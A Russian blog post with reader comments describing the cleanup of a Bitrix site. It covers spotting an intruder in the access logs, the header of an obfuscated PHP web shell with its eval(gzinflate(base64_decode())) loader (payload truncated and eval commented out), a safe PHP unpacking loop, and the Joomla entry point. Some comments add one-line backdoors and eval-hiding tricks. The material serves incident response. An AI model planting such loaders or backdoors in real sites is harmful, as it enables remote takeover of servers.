image

Началась данная история довольно прозаично. Один из клиентов начал жаловаться, что на его сайте, работающем на CMS Битрикс, постоянно слетают то настройки модулей, то вообще сайт перестает работать с «выплевыванием ошибок» там, где они быть не должны. Сменил клиенту пароли, восстановил сайт из ночного бекапа и спокойно занялся своими делами, списав ситуацию на обычную компроментацию паролей и вандализм.

Но не через несколько часов симптомы повторились вновь, причем были в случайных местах затерты куски PHP кода, что давало основание полагать, что сайт пытаются выключить намеренно. Выводы кому же понадобилось потушить типичный государственный сайт небольшого поселения с посещаемость 5-6 человек в день оставим сотрудникам компетентых органов, я же расскажу вкратце для новичков как действовать в этом случае.

1) Смотрим на 2ip.ru либо другом подобном сервисе свой внешний ip адрес, а также просим всех администраторов сайта прислать ip, с которых они сейчас подключены к интернету. Тут правило простое — обращение к административным папкам 1С-Битрикс должно идти только с этих адресов.

2) Открываем файл журнала доступа вебсервера, для вебсервера apache он как правило лежит на сервере по пути /var/log/apache2/access.log. Ищем запросы файлов админки с адресов, не принадлежащих администраторам сайта. В моем конкретном случае меня смутила данная строчка:
xxx.xxx.xxx.xxx - - [xx/xx/2015:xx:xx:xx +0300] "POST /bitrix/admin/htmleditor2/bitrix_log.php HTTP/1.0" 200 4 "http://xxxxxxxxxxxxx/bitrix/admin/htmleditor2/bitrix_log.php" "Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0"

Здесь мало того, что доступ к файлу админки идет с IP-адреса, не присутствующего в списке из первого пункта, но еще и к файлу, которого изначально в поставке CMS Битрикс нет! Когда работаете с логами и файлам, желательно разверните отдельно эталонную копию CMS, на которой работает сайт, чтобы можно были сравнивать файлы на предмет изменены ли они или нет.

3) Открываем файл /bitrix/admin/htmleditor2/bitrix_log.php. Глазам предстает следюущая мешанина символов:

<?php
$auth_pass = "b1248f5dde2d214b74ef121288b61801";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$o='HZzFksNKuoQ';//В ЭТОЙ ПЕРЕМЕННОЙ 20 страниц потока случайных символов, СОКРАТИЛ ЕЕ ДЛЯ УДОБСТВА ПОНИМАНИЯ
//eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B");

функцию eval(), которую злоумышленник пытался спрятать за кучей символов (как оказалось дальше это текстовое представление zip архива), я сразу закомментировал.

В принципе для рядовых админов можно было просто удалить данный файл, сделать поиск функции eval по остальным скриптам и где ее не должно быть — удалить и закончить свои исследования. Но я решил посмотреть, что же данное произведение народного творчества делает с сайтом и сервером.

Сначала обращаем внимание на строку:

eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B");


HEX символозаменители видны невооруженным взглядом. Превратить их в удобочитаемый невооруженным взглядом текст поможет любой HEX декодер, я пользовался этим.
После скармливания декодеру брюки символы превращаются:

eval(gzinflate(base64_decode($o)))

в элегантные семейные трусы выполнение кода, который декодируется и разархивируется из переменной $o (которая и содержит кучу «неизвестных», а точнее содержит просто заархивированную информацию). Разработчик данного творения очень постарался защитить его от деобфускации, а именно при адльнейшей попытке дешифровать перменную $o снова натыкаемся eval(gzinflate(base64_decode([КУЧА СИМВОЛОВ]))). Но и это можно обойти.

Код был немного переписан, после мешанки из символов добавляю код расшифровки:

$string = gzinflate(base64_decode($o));

после этого мы знаем что код циклически разархивирует сам себя и запускает разархивированный кусок, т.е. можно просто пройти тот же цикл но не выполняя код, а сбрасывая в какую-нибудь из переменных до полной разархивации. т.к. в каждой «итерации» архива код содержит начальную строку eval(gzinflate(base64_decode( после того как в разархивированном варианте не будет данной строки можно останавливать цикл. Распакованный код сливаем в какой нибудь файл для последующего анализа.

Вот реализация данного кода на PHP:

while (substr_count($string,"eval(gzinflate(base64_decode(")>0) {
	$string = str_replace("eval(gzinflate(base64_decode('","",$string);
	$string = str_replace("')));",");",$string);
	$string =gzinflate(base64_decode($string));
}
file_put_contents("unpacked.dat",$string);

После окончания работы скрипта открываем unpacked.dat и видим типичный php шелл (каких море) с файл менеджером и прочими «пряниками». На сервере сайт каждого клиента работает под правами пользователя данного клиента, которые довольно сильно урезаны, плюс запрещена команда exec(). Поэтому злоумышленник глумился только над этим сайтом и не смог подлезть к остальным.

Да и метод обфускации своего шелла он выбрал не очень удачный — функция eval в битриксе используется довольно редко, и данный шел по этой функции очень легко отыскать, плюс «рандомные символы» сразу наводят на подозрение. Из за этого шелл выделяется в общей структуре сайта как клоун на похоронах.

Путь попадания шелла также оказался весьма нетривиальным — раньше у клиента на сервере весело 2 копии сайта, одна из них была старым вариантом сайта на на старой и «дырявой как решето» версии Joomla. Эту версию сайта оставили для удобного переноса контента на новый сайт. В этот момент через дыру в Joomla и был загружен шелл (сайты располагались под одним пользователем в соседних папках).

Поэтому я всегда старые версии сайтов размещаю на отдельной виртуалке, которую не жалко. Что и вам советую.

UPD Убрал формулировку «говносимволы», дабы не обижать особо впечатлительных.

Комментарии (14)


  1. vlreshet
    16.04.2015 14:24
    +21

    ИМХО, обфусцированый код можно было назвать более цензурно, пост просто пестрит словом «говносимвол», читать противно.


    1. DarkByte
      16.04.2015 15:21
      +19

      Учитывая что автор говносимволами назвал кодировку base64, можно предположить, что почта ему приходит по большей части в говне.


      1. Bo0oM
        16.04.2015 15:35
        +1

        А зачем деобфусцировать шелл, если разбираться в сортах кодировок можно и в другом месте?


    1. MatasDragonV Автор
      17.04.2015 01:03

      Выражение добавлено не отвращения ради а юмора для :)


      1. igordata
        17.04.2015 11:33
        +3

        > Убрал формулировку «говносимволы», дабы не обижать особо впечатлительных.
        А такая формиулировка — это откровенное хамство уже.
        Во-первых, обижать. Во-вторых «особо впечатлительных».


    1. MrMmka
      17.04.2015 18:24
      +1

      на старой и «дырявой как решето» версии Joomla.

      Вы бы знали какая дырявая битрикс…
      Надо радоваться, что их уязвимости в паблик часто не сливают, иначе бы уже половина сайтов лежала бы.


  1. Temirkhan
    16.04.2015 16:07

    Прямо чувствуется негодование и отвращение автора к тем, кто портит ему рабочий день отловом вредоносного кода.

    Особенно смутило то, что автор, хоть и говорит, что в битриксе нет eval(), не удосужился в первую очередь пройтись поиском ключевых слов и шаблонов по директории сайта, а начал со сводки логов посещений с теми, у кого доступа быть не должно.


    1. MatasDragonV Автор
      17.04.2015 01:09
      -1

      Я и не говорил что eval() в битриксе не используется вообще, он там используется значительно реже многих других популярных в битриксе конструкций.


  1. kwolfy
    16.04.2015 17:22
    +1

    Поиск по eval может и не помочь, если сделать например, вот так:

    $text = 'echo "hello";';
    $text = preg_replace(
        '((.*))e',
        'e' . 'v' . 'a' . 'l' . '("$1")',
        $text
    );
    

    Если не ошибаюсь, то до версии php 5.5 будет вполне работать


    1. DarkByte
      16.04.2015 18:12

      В самом простом случае закладка может выглядеть так:
      <? $_REQUEST['func']($_REQUEST['param'])
      Хотя в таком случае не будет работать eval. Но функция create_function позволяет обойти это ограничение:
      <? $eval = create_function('$a','eval($a);');
      Из обычной строки, которая может быть закодирована любым образом (или передана вместе с запросом), получается функция eval.


    1. Stalker_RED
      16.04.2015 18:22
      +1

      Еще

      create_function('$o', 'return ev'.'al($o);');
      и overrride_function()


  1. ustasby
    16.04.2015 18:36
    +5

    Слили парня, запишу правило 146 — не писать на хабре про говно.


  1. igordata
    16.04.2015 19:41
    +2

    > eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B");
    > HEX символозаменители видны невооруженным взглядом. Превратить их в удобочитаемый невооруженным взглядом текст поможет любой HEX декодер, я пользовался этим.

    Прям я сорву покровы сейчас: echo "\x65\x76...\x29\x3B"; выведет нам содержимое этой строки в читаемом виде так, как оно и будет передано в eval(). Иначе eval() не отработает же ж.


    1. Bo0oM
      18.04.2015 12:40

      javascript:document.write("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B"); в браузере